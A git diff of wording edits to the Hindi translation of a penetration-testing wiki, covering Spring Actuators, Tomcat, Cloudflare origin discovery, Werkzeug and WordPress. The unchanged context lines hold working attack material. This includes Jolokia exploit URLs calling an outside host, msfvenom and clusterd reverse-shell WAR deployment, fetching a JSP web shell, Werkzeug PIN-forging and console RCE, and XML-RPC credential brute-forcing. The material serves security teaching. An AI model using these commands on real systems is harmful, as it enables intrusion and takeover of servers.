है।\ उदाहरण के लिए, एक HEAD अनुरोध में **`Range`** और **`Etag`** का संयोजन पृष्ठ की सामग्री को HEAD अनुरोधों के माध्यम से लीक कर सकता है: - `Range: bytes=20-20` हेडर के साथ एक अनुरोध और एक प्रतिक्रिया जिसमें `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` शामिल है, यह लीक कर रहा है कि बाइट 20 का SHA1 है `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` @@ -107,7 +107,7 @@ ## नियंत्रण -- **`Allow`**: यह हेडर यह संप्रेषित करने के लिए उपयोग किया जाता है कि एक संसाधन कौन से HTTP विधियों को संभाल सकता है। उदाहरण के लिए, इसे इस प्रकार निर्दिष्ट किया जा सकता है `Allow: GET, POST, HEAD`, यह इंगित करता है कि संसाधन इन विधियों का समर्थन करता है। +- **`Allow`**: यह हेडर यह संप्रेषित करने के लिए उपयोग किया जाता है कि एक संसाधन कौन से HTTP विधियों को संभाल सकता है। उदाहरण के लिए, इसे `Allow: GET, POST, HEAD` के रूप में निर्दिष्ट किया जा सकता है, जो इंगित करता है कि संसाधन इन विधियों का समर्थन करता है। - **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि यह संप्रेषित किया जा सके कि सर्वर को अनुरोध को सफलतापूर्वक संसाधित करने के लिए किन अपेक्षाओं को पूरा करना चाहिए। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट ट्रांसमिशन के साथ आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की तलाश करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है क्योंकि यह सर्वर की पुष्टि की प्रतीक्षा करता है। ## डाउनलोड @@ -147,7 +147,7 @@ el.innerHTML = escaped // Results in safe assignment. ``` ### **X-Content-Type-Options** -यह हेडर MIME प्रकार की स्निफ़िंग को रोकता है, एक प्रथा जो XSS कमजोरियों का कारण बन सकती है। यह सुनिश्चित करता है कि ब्राउज़र सर्वर द्वारा निर्दिष्ट MIME प्रकारों का सम्मान करें। +यह हेडर MIME प्रकार की स्निफ़िंग को रोकता है, एक प्रथा जो XSS कमजोरियों की ओर ले जा सकती है। यह सुनिश्चित करता है कि ब्राउज़र सर्वर द्वारा निर्दिष्ट MIME प्रकारों का सम्मान करें। ``` X-Content-Type-Options: nosniff ``` @@ -167,7 +167,7 @@ Access-Control-Allow-Credentials: true ``` ### **क्रॉस-ओरिजिन एम्बेडर नीति (COEP) और क्रॉस-ओरिजिन ओपनर नीति (COOP)** -COEP और COOP क्रॉस-ओरिजिन अलगाव को सक्षम करने के लिए आवश्यक हैं, जो स्पेक्टर-जैसे हमलों के जोखिम को काफी कम करते हैं। वे क्रमशः क्रॉस-ओरिजिन संसाधनों के लोडिंग और क्रॉस-ओरिजिन विंडोज के साथ इंटरैक्शन को नियंत्रित करते हैं। +COEP और COOP क्रॉस-ओरिजिन अलगाव को सक्षम करने के लिए आवश्यक हैं, जो स्पेक्ट्रे-जैसे हमलों के जोखिम को काफी कम करते हैं। वे क्रमशः क्रॉस-ओरिजिन संसाधनों के लोडिंग और क्रॉस-ओरिजिन विंडोज के साथ इंटरैक्शन को नियंत्रित करते हैं। ``` Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin-allow-popups diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 343cd2b74..d67f9e881 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -14,7 +14,7 @@ ### **Key Points:** -- Spring Boot Actuators ऐसे एंडपॉइंट्स रजिस्टर करते हैं जैसे कि `/health`, `/trace`, `/beans`, `/env`, आदि। संस्करण 1 से 1.4 में, ये एंडपॉइंट्स बिना प्रमाणीकरण के उपलब्ध हैं। संस्करण 1.5 से आगे, केवल `/health` और `/info` डिफ़ॉल्ट रूप से गैर-संवेदनशील हैं, लेकिन डेवलपर्स अक्सर इस सुरक्षा को बंद कर देते हैं। +- Spring Boot Actuators ऐसे एंडपॉइंट्स रजिस्टर करते हैं जैसे कि `/health`, `/trace`, `/beans`, `/env`, आदि। संस्करण 1 से 1.4 में, ये एंडपॉइंट्स बिना प्रमाणीकरण के उपलब्ध हैं। संस्करण 1.5 से आगे, केवल `/health` और `/info` डिफ़ॉल्ट रूप से गैर-संवेदनशील होते हैं, लेकिन डेवलपर्स अक्सर इस सुरक्षा को बंद कर देते हैं। - कुछ Actuator एंडपॉइंट्स संवेदनशील डेटा को उजागर कर सकते हैं या हानिकारक क्रियाओं की अनुमति दे सकते हैं: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, और `/heapdump`। - Spring Boot 1.x में, एक्ट्यूएटर्स को रूट URL के तहत रजिस्टर किया जाता है, जबकि 2.x में, ये `/actuator/` बेस पथ के तहत होते हैं। @@ -23,7 +23,7 @@ 1. **Remote Code Execution via '/jolokia'**: - `/jolokia` एक्ट्यूएटर एंडपॉइंट Jolokia लाइब्रेरी को उजागर करता है, जो MBeans तक HTTP पहुंच की अनुमति देता है। -- `reloadByURL` क्रिया का उपयोग लॉगिंग कॉन्फ़िगरेशन को एक बाहरी URL से फिर से लोड करने के लिए किया जा सकता है, जो अंधे XXE या कस्टम XML कॉन्फ़िगरेशन के माध्यम से रिमोट कोड निष्पादन की ओर ले जा सकता है। +- `reloadByURL` क्रिया का उपयोग करके लॉगिंग कॉन्फ़िगरेशन को एक बाहरी URL से फिर से लोड किया जा सकता है, जो अंधा XXE या कस्टम XML कॉन्फ़िगरेशन के माध्यम से रिमोट कोड निष्पादन का कारण बन सकता है। - उदाहरण एक्सप्लॉइट URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`। 2. **Config Modification via '/env'**: @@ -51,7 +51,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ### **Related Topics:** 1. **Env + H2 RCE**: -- `/env` एंडपॉइंट और H2 डेटाबेस के संयोजन का लाभ उठाने के विवरण [यहां](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) पाया जा सकता है। +- `/env` एंडपॉइंट और H2 डेटाबेस के संयोजन का लाभ उठाने के विवरण [यहां](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) पाए जा सकते हैं। 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: - Spring फ्रेमवर्क का HTTP पथनामों में मैट्रिक्स पैरामीटर (`;`) को संभालने का तरीका सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए उपयोग किया जा सकता है। diff --git a/src/network-services-pentesting/pentesting-web/tomcat/README.md b/src/network-services-pentesting/pentesting-web/tomcat/README.md index 6c5780208..5fe40ce32 100644 --- a/src/network-services-pentesting/pentesting-web/tomcat/README.md +++ b/src/network-services-pentesting/pentesting-web/tomcat/README.md @@ -17,7 +17,7 @@ Apache Tomcat के संस्करण को खोजने के लि ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat ``` -यह दस्तावेज़ अनुक्रमणिका पृष्ठ में "Tomcat" शब्द के लिए खोज करेगा, जो HTML प्रतिक्रिया के शीर्षक टैग में संस्करण को प्रकट करेगा। +यह दस्तावेज़ अनुक्रमणिका पृष्ठ में "Tomcat" शब्द के लिए खोज करेगा, HTML प्रतिक्रिया के शीर्षक टैग में संस्करण को प्रकट करेगा। ### **प्रबंधक फ़ाइलें स्थान** @@ -136,7 +136,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o ### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) के साथ बाइंड और रिवर्स शेल -कुछ परिदृश्यों में यह काम नहीं करता (उदाहरण के लिए पुराने संस्करणों में सन) +कुछ परिदृश्यों में यह काम नहीं करता (उदाहरण के लिए पुराने संस्करणों में) #### डाउनलोड ```bash @@ -150,7 +150,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` -### [Culsterd](https://github.com/hatRiot/clusterd) का उपयोग करना +### Using [Culsterd](https://github.com/hatRiot/clusterd) ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` @@ -189,9 +189,9 @@ webshell.war is created ``` आप इसे भी स्थापित कर सकते हैं (अपलोड, डाउनलोड और कमांड निष्पादन की अनुमति देता है): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) -### Manual Method 2 +### मैनुअल विधि 2 -एक JSP वेब शेल प्राप्त करें जैसे कि [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) और एक WAR फ़ाइल बनाएं: +एक JSP वेब शेल प्राप्त करें जैसे कि [यह](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) और एक WAR फ़ाइल बनाएं: ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index 5a844419b..7d61f12d7 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -6,8 +6,8 @@ - आप किसी सेवा का उपयोग कर सकते हैं जो डोमेन के **ऐतिहासिक DNS रिकॉर्ड** प्रदान करती है। शायद वेब पृष्ठ एक ऐसे IP पते पर चल रहा है जो पहले उपयोग किया गया था। - **ऐतिहासिक SSL प्रमाणपत्रों** की जांच करके भी यही हासिल किया जा सकता है जो मूल IP पते की ओर इशारा कर सकते हैं। -- **अन्य उपडोमेन के DNS रिकॉर्ड** की भी जांच करें जो सीधे IPs की ओर इशारा कर रहे हैं, क्योंकि यह संभव है कि अन्य उपडोमेन उसी सर्वर की ओर इशारा कर रहे हों (शायद FTP, मेल या किसी अन्य सेवा की पेशकश करने के लिए)। -- यदि आप वेब एप्लिकेशन के अंदर एक **SSRF** पाते हैं, तो आप इसका दुरुपयोग करके सर्वर का IP पता प्राप्त कर सकते हैं। +- **अन्य उपडोमेन के DNS रिकॉर्ड** की भी जांच करें जो सीधे IP की ओर इशारा कर रहे हैं, क्योंकि यह संभव है कि अन्य उपडोमेन उसी सर्वर की ओर इशारा कर रहे हों (शायद FTP, मेल या किसी अन्य सेवा की पेशकश करने के लिए)। +- यदि आप वेब एप्लिकेशन के अंदर एक **SSRF** पाते हैं, तो आप इसका दुरुपयोग करके सर्वर के IP पते को प्राप्त कर सकते हैं। - ब्राउज़रों में वेब पृष्ठ की एक अद्वितीय स्ट्रिंग खोजें जैसे shodan (और शायद google और समान?)। शायद आप उस सामग्री के साथ एक IP पता पा सकते हैं। - इसी तरह, अद्वितीय स्ट्रिंग की तलाश करने के बजाय, आप टूल का उपयोग करके फ़ेविकॉन आइकन की खोज कर सकते हैं: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) या [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) - यह बहुत बार काम नहीं करेगा क्योंकि सर्वर को IP पते द्वारा पहुंचने पर वही प्रतिक्रिया भेजनी चाहिए, लेकिन आप कभी नहीं जानते। @@ -16,12 +16,12 @@ - डोमेन की खोज करें [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) या [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) के अंदर। या टूल का उपयोग करें [CloudPeler](https://github.com/zidansec/CloudPeler) (जो उस API का उपयोग करता है) - डोमेन की खोज करें [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) -- [**CloudFlair**](https://github.com/christophetd/CloudFlair) एक टूल है जो डोमेन नाम वाले Censys प्रमाणपत्रों का उपयोग करके खोज करेगा, फिर वह उन प्रमाणपत्रों के अंदर IPv4s की खोज करेगा और अंततः उन IPs में वेब पृष्ठ तक पहुंचने की कोशिश करेगा। +- [**CloudFlair**](https://github.com/christophetd/CloudFlair) एक टूल है जो डोमेन नाम वाले Censys प्रमाणपत्रों का उपयोग करके खोज करेगा, फिर यह उन प्रमाणपत्रों के अंदर IPv4s की खोज करेगा और अंततः उन IPs में वेब पृष्ठ तक पहुंचने की कोशिश करेगा। - [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r एक शक्तिशाली Python टूल है जिसे Cloudflare और अन्य विकल्पों द्वारा सुरक्षित वेबसाइटों के वास्तविक IP पते को उजागर करने के लिए सावधानीपूर्वक तैयार किया गया है, जो एक व्यापक रूप से अपनाया गया वेब सुरक्षा और प्रदर्शन सुधार सेवा है। इसका मुख्य मिशन Cloudflare की सुरक्षा ढाल के पीछे छिपे वेब सर्वरों के वास्तविक IP पते को सटीक रूप से पहचानना है। - [Censys](https://search.censys.io/) - [Shodan](https://shodan.io/) - [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) -- यदि आपके पास संभावित IPs का एक सेट है जहां वेब पृष्ठ स्थित है, तो आप [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) का उपयोग कर सकते हैं +- यदि आपके पास संभावित IPs का एक सेट है जहां वेब पृष्ठ स्थित है, तो आप [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) का उपयोग कर सकते हैं। ```bash # You can check if the tool is working with prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one @@ -70,7 +70,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. ### Cloudflare IP पते की अनुमति सूची -यह **कनेक्शनों को अस्वीकार कर देगा जो Cloudflare के** IP पते की रेंज से उत्पन्न नहीं होते हैं। यह पिछले सेटअप के लिए भी संवेदनशील है जहां एक हमलावर बस **Cloudflare में अपना डोमेन** पीड़ित के IP पते की ओर इंगित करता है और उस पर हमला करता है। +यह **Cloudflare के** IP पते की रेंज से उत्पन्न नहीं होने वाले कनेक्शनों को **अस्वीकृत** करेगा। यह पिछले सेटअप के लिए भी संवेदनशील है जहां एक हमलावर बस **Cloudflare में अपना डोमेन** पीड़ित के **IP** पते की ओर इंगित करता है और उस पर हमला करता है। अधिक जानकारी [**यहां**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)। @@ -81,7 +81,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. कभी-कभी आप केवल वेब पृष्ठ को स्क्रैप करने के लिए Cloudflare को बायपास करना चाहते हैं। इसके लिए कुछ विकल्प हैं: - Google कैश का उपयोग करें: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog` -- अन्य कैश सेवाओं का उपयोग करें जैसे [https://archive.org/web/](https://archive.org/web/) +- अन्य कैश सेवाओं का उपयोग करें जैसे [https://archive.org/web/](https://archive.org/web/)। ### उपकरण @@ -94,7 +94,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. कई Cloudflare सॉल्वर विकसित किए गए हैं: - [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr) -- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [गाइड यहां](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) +- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [यहां गाइड](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) - [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape) - [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe) - [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver) @@ -120,7 +120,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. - [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32) - [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) अपने स्वामित्व वाले Cloudflare बायपास तंत्र के लिए जाने जाते हैं। -जो लोग एक अनुकूलित समाधान की तलाश कर रहे हैं, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) विशेष रूप से उल्लेखनीय है। यह सेवा 20 से अधिक प्रॉक्सी प्रदाताओं को एकल API में एकीकृत करती है, स्वचालित रूप से आपके लक्षित डोमेन के लिए सबसे अच्छे और सबसे लागत-कुशल प्रॉक्सी का चयन करती है, इस प्रकार Cloudflare की सुरक्षा को नेविगेट करने के लिए एक उत्कृष्ट विकल्प प्रदान करती है। +जो लोग एक अनुकूलित समाधान की तलाश में हैं, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) सबसे अलग है। यह सेवा 20 से अधिक प्रॉक्सी प्रदाताओं को एकल API में एकीकृत करती है, स्वचालित रूप से आपके लक्षित डोमेन के लिए सबसे अच्छा और सबसे किफायती प्रॉक्सी चुनती है, इस प्रकार Cloudflare की सुरक्षा को नेविगेट करने के लिए एक उत्कृष्ट विकल्प प्रदान करती है। ### Cloudflare एंटी-बॉट सुरक्षा का रिवर्स इंजीनियरिंग @@ -128,7 +128,7 @@ Cloudflare के एंटी-बॉट उपायों का रिवर **फायदे:** यह विधि Cloudflare की जांचों को लक्षित करने के लिए एक अत्यधिक कुशल बायपास बनाने की अनुमति देती है, जो बड़े पैमाने पर संचालन के लिए आदर्श है। -**नुकसान:** नुकसान यह है कि Cloudflare की जानबूझकर अस्पष्ट एंटी-बॉट प्रणाली को समझने और धोखा देने में जटिलता शामिल है, जिसमें विभिन्न रणनीतियों का परीक्षण करने और Cloudflare की सुरक्षा को बढ़ाने के साथ बायपास को अपडेट करने के लिए निरंतर प्रयास की आवश्यकता होती है। +**नुकसान:** नुकसान यह है कि Cloudflare की जानबूझकर अस्पष्ट एंटी-बॉट प्रणाली को समझने और धोखा देने में जटिलता शामिल है, जिसमें विभिन्न रणनीतियों का परीक्षण करने और Cloudflare अपनी सुरक्षा को बढ़ाने के साथ बायपास को अपडेट करने के लिए निरंतर प्रयास की आवश्यकता होती है। इस बारे में अधिक जानकारी के लिए [मूल लेख](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) देखें। diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 7ad87b38b..0aa2ead3a 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -11,6 +11,6 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -यदि आप मान्य क्रेडेंशियल्स पाते हैं, तो आप अधिक मेटास्प्लॉट स्कैनर मॉड्यूल का उपयोग करके जानकारी प्राप्त कर सकते हैं। +यदि आप मान्य क्रेडेंशियल्स पाते हैं, तो आप अधिक मेटास्प्लोट स्कैनर मॉड्यूल का उपयोग करके जानकारी प्राप्त कर सकते हैं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 414b1d2d3..64a39926f 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -24,7 +24,7 @@ APIs का pentesting कमजोरियों को उजागर कर - **Endpoint Discovery**: छिपे हुए एंडपॉइंट्स को खोजने के लिए API पैटर्न का लाभ उठाएं। फज़र्स जैसे उपकरण इस प्रक्रिया को स्वचालित कर सकते हैं। - **Parameter Tampering**: अनधिकृत डेटा या कार्यक्षमताओं तक पहुंचने के लिए अनुरोधों में पैरामीटर जोड़ने या बदलने का प्रयोग करें। - **HTTP Method Testing**: अप्रत्याशित व्यवहार या जानकारी के खुलासे को उजागर करने के लिए अनुरोध विधियों (GET, POST, PUT, DELETE, PATCH) में भिन्नता लाएं। -- **Content-Type Manipulation**: पार्सिंग समस्याओं या कमजोरियों के परीक्षण के लिए विभिन्न सामग्री प्रकारों (x-www-form-urlencoded, application/xml, application/json) के बीच स्विच करें। +- **Content-Type Manipulation**: पार्सिंग मुद्दों या कमजोरियों के परीक्षण के लिए विभिन्न सामग्री प्रकारों (x-www-form-urlencoded, application/xml, application/json) के बीच स्विच करें। - **Advanced Parameter Techniques**: JSON पेलोड में अप्रत्याशित डेटा प्रकारों के साथ परीक्षण करें या XXE इंजेक्शन के लिए XML डेटा के साथ खेलें। व्यापक परीक्षण के लिए पैरामीटर प्रदूषण और वाइल्डकार्ड वर्णों का भी प्रयास करें। - **Version Testing**: पुराने API संस्करण हमलों के प्रति अधिक संवेदनशील हो सकते हैं। हमेशा कई API संस्करणों के खिलाफ जांचें और परीक्षण करें। diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index 01dde656c..db4cb825c 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -11,7 +11,7 @@ __import__('os').popen('whoami').read(); ``` ![](<../../images/image (117).png>) -इंटरनेट पर कई एक्सप्लॉइट्स हैं जैसे [यह ](https://github.com/its-arun/Werkzeug-Debug-RCE)या मेटास्प्लॉइट में एक। +इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे [यह ](https://github.com/its-arun/Werkzeug-Debug-RCE)या मेटास्प्लॉइट में एक। ## पिन सुरक्षित - पथ ट्रैवर्सल @@ -40,7 +40,7 @@ shell that runs the server - **`uuid.getnode()`**: वर्तमान मशीन का MAC पता प्राप्त करता है, जिसमें `str(uuid.getnode())` इसे दशमलव प्रारूप में अनुवादित करता है। -- सर्वर के MAC पते को **निर्धारित करने के लिए**, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे, `ens3`)। यदि अनिश्चितता हो, तो **`/proc/net/arp`** को लीक करें ताकि डिवाइस ID मिल सके, फिर **MAC पता निकालें** **`/sys/class/net//address`** से। +- सर्वर के MAC पते को **निर्धारित करने के लिए**, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे, `ens3`)। यदि अनिश्चितता हो, तो **`/proc/net/arp`** को लीक करें ताकि डिवाइस ID मिल सके, फिर **`/sys/class/net//address`** से **MAC पता निकालें**। - एक हेक्साडेसिमल MAC पते को दशमलव में परिवर्तित करने के लिए नीचे दिखाए अनुसार किया जा सकता है: ```python @@ -49,7 +49,7 @@ shell that runs the server 94558041547692 ``` -- **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को `/proc/self/cgroup` की पहली पंक्ति के साथ अंतिम स्लैश (`/`) के बाद जोड़ता है। +- **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को जोड़ता है और `/proc/self/cgroup` की पहली पंक्ति को अंतिम स्लैश (`/`) के बाद जोड़ता है।
@@ -144,7 +144,7 @@ print(rv) यह स्क्रिप्ट जुड़े हुए बिट्स को हैश करके, विशिष्ट साल्ट (`cookiesalt` और `pinsalt`) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि `probably_public_bits` और `private_bits` के वास्तविक मानों को लक्षित प्रणाली से सटीक रूप से प्राप्त करना आवश्यक है ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो। > [!TIP] -> यदि आप **Werkzeug के पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें, sha1 के बजाय। +> यदि आप Werkzeug के **पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें, sha1 के बजाय। ## Werkzeug Unicode वर्ण diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 64fd79f98..912ff1ef0 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,7 +5,7 @@ ## Basic Information - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **थीम ट्वेंटीट्वेल्व** का उपयोग करते हुए आप **404.php** फ़ाइल तक पहुँच सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **थीम ट्वेंटीट्वेल्व** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच** सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **एक और उपयोगी यूआरएल हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -38,7 +38,7 @@ - **Editor**: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है - **Author**: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है - **Contributor**: अपने पोस्ट लिखता और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता -- **Subscriber**: पोस्ट ब्राउज़ करता है और अपना प्रोफ़ाइल संपादित करता है +- **Subscriber**: पोस्ट ब्राउज़ करता है और अपने प्रोफ़ाइल को संपादित करता है ## **Passive Enumeration** @@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### सामान्य रूप से संस्करण निकालें +### सामान्य में संस्करण निकालें ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -91,11 +91,11 @@ curl -s -I -X GET http://blog.example.com/?author=1 ``` यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका मतलब है कि आईडी **मान्य** है। यदि प्रतिक्रिया **400** है, तो आईडी **अमान्य** है। -- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए भी प्रयास कर सकते हैं: +- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए भी क्वेरी कर सकते हैं: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है: +एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है वह है: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` @@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **क्रेडेंशियल्स ब्रूटफोर्स** -**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी खोज सकते हैं, तो आप कुछ इस तरह भेज सकते हैं: +**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ सकते हैं, तो आप कुछ इस तरह भेज सकते हैं: ```markup wp.getUsersBlogs @@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -संदेश _"Incorrect username or password"_ 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते। +संदेश _"Incorrect username or password"_ एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते। ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) @@ -217,9 +217,9 @@ Wp-Cron को अक्षम करना और होस्ट के अं ### /wp-json/oembed/1.0/proxy - SSRF -_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने की 